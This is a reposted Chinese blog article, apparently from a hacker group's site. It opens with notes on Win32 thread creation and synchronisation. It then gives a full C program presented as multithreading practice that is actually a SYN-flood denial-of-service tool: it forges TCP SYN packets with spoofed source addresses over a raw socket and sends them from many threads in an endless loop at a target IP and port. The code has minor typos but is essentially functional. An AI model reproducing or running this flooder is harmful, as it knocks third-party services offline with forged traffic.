多執行緒學習筆記 (轉)

流水-發表於2005-10-09

文章作者:邪惡八進位制·xuanliang[E.S.T]
資訊來源:邪惡八進位制 中國

執行緒由兩部分構成.執行緒的核心物件和執行緒堆疊
 

lpsa 安全屬性結構
cbStack 新執行緒堆疊的位元組數.為0將預設為主執行緒的堆疊大小.堆疊的預設大小是父程式的堆疊大小,正常情況下是1MB
lpStackAddr 指向在呼叫程式內要執行的函式.這個函式接受一個單指標引數並返回一個32為DWORD退出碼.執行緒可以將引數解釋成一個DWORD或一個指標.該執行緒函式形式如下: DWORD WINAPI

ThreadFunc (LPVOID)
lpthreadParm是作為執行緒引數傳歸的指標.它被執行緒所解釋.通常是一個指向引數結構的指標.
fdwcreate 如果為0就表示執行緒已經準備好.可以立即執行.如果fdwcreate為create_SUSPENDED,新執行緒會處於掛起狀態,這時需要使用ResumeThread函式呼叫將執行緒轉換到準備完畢的狀態.
lpIDThread 指向一個接收新執行緒標識的DWORD型別.
GetCurrentThread 返回撥用執行緒的一個不可繼承的偽控制程式碼
GetCurrentThreadID 是執行緒的ID
suspend count 執行緒掛起記數器.在記數器為0的時候執行緒才能執行.一個執行緒可以使用SuspendThread和ResumeThread來增加和減少另一個執行緒的掛起記數器.計數器為1的時候執行緒以掛起狀態

被建立.DWORD ResumeThread (HANDLE hThread)
DWORD SuspendThread (HANDLE hThread) 0xFFFFFFFF表示失敗
WaitForSingleObject或WaitForMultipleObjects等待一個單執行緒終止.要以執行緒的控制程式碼做為引數.WaitForMultipleObjects每次只能等待64個控制程式碼.


還是關於lpStackAddr.在程式中建立一個輔助執行緒,它必定也是個進入點函式.類似的

DWORD WINAPI ThreadFunc(PVOID pvParam) {
DWORD dwResult=0;
.
.
return (dwResult);
}

最終執行緒函式到達它的結尾並且返回.執行緒終止執行.堆疊的記憶體被釋放.同時執行緒的核心物件使用的使用計數被遞減.如果為0,執行緒的核心物件就被撤消.執行緒函式的入口點可以使用任何名字.

執行緒函式應該儘可能使用函式引數和區域性變數.
 

DWORD WINAPI FirstThread(PVOID pvParam) {
int x=0;
DWORD dwThreadID();
HANDLE hThread=createThread(NULL,0,SecondThread,(PVOID) &x,0, &dwThreadId);
closeHandle(hThread);
return(0);
}
DWORD WINAPI SecondThread(PVOID pvParam) {
//do some
*((int *) pvParam)=5;
.
.
return(0);
}

參考資料:
<<windows核心程式設計>>
<<win32系統程式設計>>


寫個簡單的發包程式練習多執行緒
 

#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <ws2tcpip.h>

#pragma comment(lib, "ws2_32.lib")

SOCKET g_Sock;
SOCKADDR_IN g_Addr;

//定義IP首部
typedef struct ip_head
{
unsigned char h_verlen;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IPHEADER;

//定義TCP首部
typedef struct tcp_head
{
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCPHEADER;

//定義TCP偽首部
typedef struct tsd_head
{
unsigned long saddr;
unsigned long daddr;
char mbz;
char ptcl;
unsigned short tcpl;
}PSDHEADER;

//計算校驗和
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}


void usage()
{
printf("-----------------------------------------------------------/n");
printf("Test createThread/n");
printf("Useage:Target_ip Target_port Thread_num /n");
printf("-----------------------------------------------------------/n");
}


//MakeThread
int MakeThread( LPVOID pPara )
{
char *SendBuf = NULL;
int PacketSize = 0,
AddrSize = 0;

SendBuf = (char *)pPara;
PacketSize = sizeof(IPHEADER)+sizeof(TCPHEADER);
AddrSize = sizeof(SOCKADDR_IN);

while(1)
{
if ( sendto(g_Sock,
SendBuf,
PacketSize,
0,
(struct sockaddr*)&g_Addr,
AddrSize) == SOCKET_ERROR )
{
printf( "send error %d!", GetLastError() );
return false;
}

}
}

int main(int argc, char* argv[])
{
WSADATA WSAData;
IPHEADER ipHeader;
TCPHEADER tcpHeader;
PSDHEADER psdHeader;
int SourcePort;
char SendBuf[60]={ 0 };
BOOL flag;
int nTimeOver;
int ThreadNUM;
HANDLE ThreadHandle = NULL;
int i;
int CurrentThread=0;

if (argc!=4)
{
usage();
return false;
}
if (atoi(argv[3]) > 50)
{
printf("u'd better choose 10 thread");
}
else
ThreadNUM=atoi(argv[3]);

if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0)
{
printf("WSAStartup Error!");
return false;
}
if ((g_Sock=socket(AF_INET,SOCK_RAW,IPPROTO_IP))==INVALID_SOCKET)
{
printf("Socket Setup Error!");
return false;
}

flag=true;
if (setsockopt(g_Sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR)
{
printf("setsockopt IP_HDRINCL error!");
return false;
}

//設定傳送時間
nTimeOver=1000;
if (setsockopt(g_Sock, SOL_SOCKET, SO_SNDTIMEO, (char*)&nTimeOver, sizeof(nTimeOver))==SOCKET_ERROR)
{
printf("setsockopt SO_SNDTIMEO error!");
return false;
}
g_Addr.sin_family=AF_INET;
g_Addr.sin_port=htons(atoi(argv[2]));
g_Addr.sin_addr.S_un.S_addr=inet_addr(argv[1]);

//填充IP首部
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long));
ipHeader.tos=0;
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader));
ipHeader.ident=1;
ipHeader.frag_and_flags=0;
ipHeader.ttl=(unsigned char)GetTickCount()%87+123;
ipHeader.proto=IPPROTO_TCP; // 協議型別為 TCP
ipHeader.checksum=0;
ipHeader.sourceIP=htonl(GetTickCount()*474695);
ipHeader.destIP=inet_addr(argv[1]);

//填充TCP首部
SourcePort=GetTickCount()*43557%9898;
tcpHeader.th_sport=htons(SourcePort);
tcpHeader.th_dport=htons(atoi(argv[2]));
tcpHeader.th_seq=htonl(0x12345678);
tcpHeader.th_ack=0;
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0);
tcpHeader.th_flag=2; //SYN
tcpHeader.th_win=htons(512);
tcpHeader.th_urp=0;
tcpHeader.th_sum=0;

//填充TCP偽首部用來計算TCP頭部的效驗和
psdHeader.saddr=ipHeader.sourceIP;
psdHeader.daddr=ipHeader.destIP;
psdHeader.mbz=0;
psdHeader.ptcl=IPPROTO_TCP;
psdHeader.tcpl=htons(sizeof(tcpHeader));

//計算校驗和
memcpy(SendBuf, &psdHeader, sizeof(psdHeader));
memcpy(SendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader));
tcpHeader.th_sum=checksum((USHORT *)SendBuf,sizeof(psdHeader)+sizeof(tcpHeader));
memcpy(SendBuf, &ipHeader, sizeof(ipHeader));
memcpy(SendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader));
//建立執行緒
for (i=0;i<ThreadNUM;i++)
{
ThreadHandle=createThread(0, 0, (LPTHREAD_START_ROUTINE)MakeThread, (LPVOID)SendBuf ,0, NULL);
if (ThreadHandle == NULL)
{
printf("createthread fail:%x",WSAGetLastError());
}
else
{
CurrentThread++;
printf("Thread %-3dAttack.../n",i);

//CloseHandle(ThreadHandle);
}
}
WaitForSingleObject(ThreadHandle,INFINITE);

closesocket(g_Sock);
WSACleanup();
return 0;
}

 

 

相關文章